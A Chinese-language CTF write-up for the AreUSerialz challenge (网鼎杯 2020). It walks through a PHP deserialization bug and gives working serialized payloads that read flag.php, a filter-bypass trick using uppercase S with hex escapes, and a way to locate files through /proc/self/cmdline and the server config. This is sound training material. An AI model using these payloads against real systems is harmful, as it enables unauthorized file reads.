[网鼎杯 2020 青龙组]AreUSerialz 1
打开靶场,是一道php代码审计的题目,是个反序列化的题目
分块对代码进行分析,先分析输入部分
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//限制字符串的范围return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str); //对传入的str的值进行反序列化}}
基本就是对输入的字符进行了一点过滤,然后进行反序列化。
然后,再分析类中的部分。去掉了__construct(),因为它在unserialize()时是不会自动调用的。反序列化会先调用__destruct()这个魔术方法,先从它开始分析。而且我们的目标是读取它包含的flag.php文件,不涉及写文件的操作,将不相关的代码删掉,方便分析。
class FileHandler {protected $op;protected $filename;protected $content;public function process() { //我们需要让op的值为2,进行读文件操作if($this->op == "1") {$this->write();} else if($this->op == "2") { //弱类型比较$res = $this->read(); //读文件$this->output($res); //输出文件} else {$this->output("Bad Hacker!");}}private function read() { //让filename的值为flag.php,就可以直接读取到flag了,//也可以使用伪协议php://filter:read=convert.base64-encode/resource=flag.php读取flag文件$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() { //对op的值进行强类型判断,这个地方可以用op = int 2 绕过,因为上面是弱类型进行比较的if($this->op === "2")$this->op = "1";$this->content = ""; //我们不写文件,所以跟content没有什么关系$this->process(); //调用process}}
综合一下,反序列化时,应该是op=2,filename=flag.php
这个地方直接使用序列化代码就可以直接得到flag了,我一开始不知道,后面会解释。我当时光想着源代码变量属性是protected,它在序列化后会出现不可见字符%00*%00,所以序列化也要加上这些东西。
而%00转化为ascii码会被is_valid()过滤掉。绕过的方法是在序列化内容中用大写S表示字符串,这时这个字符串就支持将后面的字符串用16进制表示。
最终构造的payload
O:11:“FileHandler”:3:{S:5:"\00*
\00op";i:2;S:11:"\00*\00filename";S:8:“flag.php”;S:10:"\00*\00content";N;}
查看源代码拿到flag
第二种方法,这是看了别人写的wp才知道的。
php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
靶场php版本是7.4.3
所以可以直接使用下面这个payload,万万没想到啊。
O:11:“FileHandler”:3:{s:2:“op”;i:2;s:8:“filename”;s:8:“flag.php”;s:7:“content”;s:0:"";}
还有一点点这个靶场外的东西,这个地方是文末的第一个链接的内容,而我菜鸡并没有参加这个比赛。
BUU复现的这道题不用考虑flag.php的路径问题,看了参赛大佬WP比赛环境的题目还要靠读取系统配置文件、容器配置文件来猜flag的绝对路径。
首先读取/proc/self/cmdline,得到如下结果。
linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。进程可以通过访问/proc/self/目录来获取自己的信息。
maps 记录一些调用的扩展或者自定义 so 文件
environ 环境变量
comm 当前进程运行的程序
cmdline 程序运行的绝对路径
cpuset docker 环境可以看 machine ID
cgroup docker环境下全是 machine ID 不太常用
得到取配置文件路径/web/config/httpd.conf,读取后获得网站的绝对路径。
然后读取/web/html/flag.php,得到flag
https://blog.csdn.net/Oavinci/article/details/106998738
https://forum.90sec.com/t/topic/331
[网鼎杯 2020 青龙组]AreUSerialz 1相关推荐
- [网鼎杯 2020 青龙组]AreUSerialz WP
[网鼎杯 2020 青龙组]AreUSerialz WP 看到题目,首先进入代码审计 <?phpinclude("flag.php");//在文件中插入flag.php文件的 ...
- Buuctf[网鼎杯 2020 青龙组]AreUSerialz
[网鼎杯 2020 青龙组]AreUSerialz 打开题目仔细阅读源码 <?phpinclude("flag.php"); highlight_file(__FILE__) ...
- [网鼎杯 2020 青龙组]AreUSerialz
打开题目,获得一大段代码 <?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {prote ...
- [网鼎杯 2020 青龙组]AreUSerialz BUUCTF
源码如下,代码审计: <?php include("flag.php"); highlight_file(__FILE__); class FileHandler { pro ...
- undefsafe原型链[网鼎杯 2020 青龙组]notes
感觉是考原型链但还是有点不知道如何下手,呜呜呜呜呜呜. 从浅入深 Javascript 原型链与原型链污染 [网鼎杯 2020 青龙组]notes var express = require('exp ...
- [网鼎杯 2020 青龙组]jocker
[网鼎杯 2020 青龙组]jocker SMC(self-Modifying Code): 自修改代码,程序在执行某段代码的过程中会对程序的代码进行修改,只有在修改后的代码才是可汇编,可执行的.在程 ...
- BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker
BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker 先看下文件信息,没有加壳,32位程序 运行一下,又是一道字符串比较的题目 用IDA32位打开,分析一下 // positive ...
- Buuctf [网鼎杯 2020 青龙组]jocker 题解
目录 一.主函数逻辑 二.wrong函数和omg函数--假flag 1.wrong函数 2.omg函数 3.假flag 三.encrypt和finally函数--真flag 1.打开sp指针偏移显示 ...
- re -25 buuctf [网鼎杯 2020 青龙组]jocker
[网鼎杯 2020 青龙组]jocker 前话:ida7.6设置栏内没有general,可以通过ctrl+shift+p打开命令面板,搜索option打开设置选项,于Disassembly设置堆栈显示 ...
最新文章
- Java assert关键字
- 通过注册表修改IE的Internet选项
- JAVA查找事件侦听代码_Java自定义事件处理程序和侦听器
- matlab mbuild setup,关于mbuild的一个问题
- python中Json、os、sys、hashlib等内置模块
- 史上最全!近千篇机器学习自然语言处理论文!都这儿了
- MySQL——高阶语句(上)
- 系统架构设计师考试 重要的部分
- python中形参*args和**kwargs简述
- 什么是千兆光纤收发器?其产品标准具体有哪些?
- ParserError: Error tokenizing data. C error: Expected 1 fields in line 122, saw 2
- JavaScript Try Catch:异常处理说明
- 创建用户赋权限_JMeter接口测试实战之「创建用户」篇
- Linux Centos firewall 防火墙 开启 80 端口配置案例
- python print退格_python退格输入
- seo清洗百万长尾词数据的策略
- 手把手教您怎么编写第一个单片机程序
- 【软件测试】时制转换时的电话账单
- IDE添加文件头@author信息
- 读《论人类不平等的起源和基础》